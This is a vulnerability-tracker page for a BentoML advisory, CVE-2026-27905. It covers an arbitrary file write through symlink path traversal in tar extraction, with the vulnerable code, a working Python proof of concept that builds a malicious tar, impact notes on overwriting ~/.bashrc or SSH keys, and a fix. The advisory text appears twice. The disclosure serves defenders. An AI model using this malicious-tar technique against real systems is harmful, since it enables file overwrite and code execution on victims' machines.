Monitor vulnerabilities like this one.
Sign up free to get alerted when software you use is affected.
8.6
BentoML Allows Malicious Files to Write to Any Folder
CVE-2026-27905
GHSA-m6w7-qv66-g3mf
Summary
BentoML, a model serving platform, has a security weakness that allows attackers to write files to any folder on the system. This happens when an attacker creates a special type of file called a symlink, which points to a different location on the system. To fix this, update to the latest version of BentoML or ensure you're using a secure version of the `safe_extract_tarfile()` function.
What to do
- Update bentoml to version 1.4.36.
Affected software
| Vendor | Product | Affected versions | Fix available |
|---|---|---|---|
| – | bentoml | <= 1.4.36 | 1.4.36 |
| bentoml | bentoml | <= 1.4.36 | – |
Original title
BentoML Vulnerable to Arbitrary File Write via Symlink Path Traversal in Tar Extraction
Original description
# Arbitrary File Write via Symlink Path Traversal in Tar Extraction
## Summary
The `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.
## Affected Component
- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`
- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`
- **Affected versions**: All versions with `safe_extract_tarfile()`
## Severity
**CVSS 3.1: 8.1 (High)**
`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`
## Vulnerability Details
### Vulnerable Code (filesystem.py:58-96)
```python
def safe_extract_tarfile(tar, destination):
os.makedirs(destination, exist_ok=True)
for member in tar.getmembers():
fn = member.name
path = os.path.abspath(os.path.join(destination, fn))
if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE
continue # Only checks member path, NOT symlink target
if member.issym():
tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target
else:
fp = tar.extractfile(member)
with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks
shutil.copyfileobj(fp, destfp)
```
### The Bug
1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target
2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)
3. Line 92: `open(path, "wb")` follows the symlink, writing OUTSIDE the destination
`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.
## Proof of Concept
```python
import io, os, shutil, tarfile, tempfile
from pathlib import Path
def create_malicious_tar(target_dir, target_file, payload):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tar:
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = target_dir
tar.addfile(sym)
info = tarfile.TarInfo(name=f'escape/{target_file}')
info.size = len(payload)
tar.addfile(info, io.BytesIO(payload))
buf.seek(0)
return buf
with tempfile.TemporaryDirectory() as tmpdir:
extract_dir = os.path.join(tmpdir, 'extract')
target_dir = os.path.join(tmpdir, 'outside')
os.makedirs(target_dir)
mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
# Reproduce filesystem.py:58-96
os.makedirs(extract_dir, exist_ok=True)
for member in tar.getmembers():
path = os.path.abspath(os.path.join(extract_dir, member.name))
if not Path(path).is_relative_to(extract_dir): continue
if member.issym():
tar._extract_member(member, path) # Symlink target NOT checked
else:
fp = tar.extractfile(member)
os.makedirs(os.path.dirname(path), exist_ok=True)
if fp:
with open(path, 'wb') as destfp: # Follows symlink!
shutil.copyfileobj(fp, destfp)
assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED
```
## Impact
### 1. Arbitrary file overwrite via shared bentos
BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.
### 2. Remote code execution via file overwrite
Overwriting `~/.bashrc` or Python packages achieves RCE.
### 3. BentoCloud deployments
`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.
## Remediation
Validate symlink targets:
```python
if member.issym():
target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
if not Path(target).is_relative_to(dest):
logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
continue
```
Or use Python 3.12+ `tar.extractall(filter='data')`.
## References
- CWE-59: Improper Link Resolution Before File Access ('Link Following')
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
## Summary
The `safe_extract_tarfile()` function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, **not the symlink's target**. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem.
## Affected Component
- **File**: `src/bentoml/_internal/utils/filesystem.py:58-96`
- **Callers**: `src/bentoml/_internal/cloud/bento.py:542`, `src/bentoml/_internal/cloud/model.py:504`
- **Affected versions**: All versions with `safe_extract_tarfile()`
## Severity
**CVSS 3.1: 8.1 (High)**
`AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H`
## Vulnerability Details
### Vulnerable Code (filesystem.py:58-96)
```python
def safe_extract_tarfile(tar, destination):
os.makedirs(destination, exist_ok=True)
for member in tar.getmembers():
fn = member.name
path = os.path.abspath(os.path.join(destination, fn))
if not Path(path).is_relative_to(destination): # Line 64: INCOMPLETE
continue # Only checks member path, NOT symlink target
if member.issym():
tar._extract_member(member, path) # Line 75: Creates symlink with UNVALIDATED target
else:
fp = tar.extractfile(member)
with open(path, "wb") as destfp: # Line 92: open() FOLLOWS symlinks
shutil.copyfileobj(fp, destfp)
```
### The Bug
1. Line 64: `Path(path).is_relative_to(destination)` checks the member's OWN path, not the symlink target
2. Line 75: `tar._extract_member()` creates symlink with unvalidated target (e.g., `/etc`)
3. Line 92: `open(path, "wb")` follows the symlink, writing OUTSIDE the destination
`os.path.abspath()` does NOT resolve symlinks (only `.` and `..`). The path check passes because the string path appears within destination, but `open()` follows the symlink to the actual target.
## Proof of Concept
```python
import io, os, shutil, tarfile, tempfile
from pathlib import Path
def create_malicious_tar(target_dir, target_file, payload):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w:gz') as tar:
sym = tarfile.TarInfo(name='escape')
sym.type = tarfile.SYMTYPE
sym.linkname = target_dir
tar.addfile(sym)
info = tarfile.TarInfo(name=f'escape/{target_file}')
info.size = len(payload)
tar.addfile(info, io.BytesIO(payload))
buf.seek(0)
return buf
with tempfile.TemporaryDirectory() as tmpdir:
extract_dir = os.path.join(tmpdir, 'extract')
target_dir = os.path.join(tmpdir, 'outside')
os.makedirs(target_dir)
mal_tar = create_malicious_tar(target_dir, 'pwned.txt', b'PWNED')
tar = tarfile.open(fileobj=mal_tar, mode='r:gz')
# Reproduce filesystem.py:58-96
os.makedirs(extract_dir, exist_ok=True)
for member in tar.getmembers():
path = os.path.abspath(os.path.join(extract_dir, member.name))
if not Path(path).is_relative_to(extract_dir): continue
if member.issym():
tar._extract_member(member, path) # Symlink target NOT checked
else:
fp = tar.extractfile(member)
os.makedirs(os.path.dirname(path), exist_ok=True)
if fp:
with open(path, 'wb') as destfp: # Follows symlink!
shutil.copyfileobj(fp, destfp)
assert os.path.exists(os.path.join(target_dir, 'pwned.txt'))
print(open(os.path.join(target_dir, 'pwned.txt')).read()) # PWNED
```
## Impact
### 1. Arbitrary file overwrite via shared bentos
BentoML users share pre-built bentos. A malicious bento can overwrite any writable file: `~/.bashrc`, `~/.ssh/authorized_keys`, crontabs, Python site-packages.
### 2. Remote code execution via file overwrite
Overwriting `~/.bashrc` or Python packages achieves RCE.
### 3. BentoCloud deployments
`safe_extract_tarfile()` is called when pulling bentos from BentoCloud (bento.py:542). A malicious actor on BentoCloud can compromise any system that pulls a bento.
## Remediation
Validate symlink targets:
```python
if member.issym():
target = os.path.normpath(os.path.join(os.path.dirname(path), member.linkname))
if not Path(target).is_relative_to(dest):
logger.warning('Symlink %s points outside: %s', member.name, member.linkname)
continue
```
Or use Python 3.12+ `tar.extractall(filter='data')`.
## References
- CWE-59: Improper Link Resolution Before File Access ('Link Following')
- CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
nvd CVSS3.1
7.8
nvd CVSS4.0
8.6
Vulnerability type
CWE-59
Link Following
CWE-22
Path Traversal
Published: 3 Mar 2026 · Updated: 13 Mar 2026 · First seen: 6 Mar 2026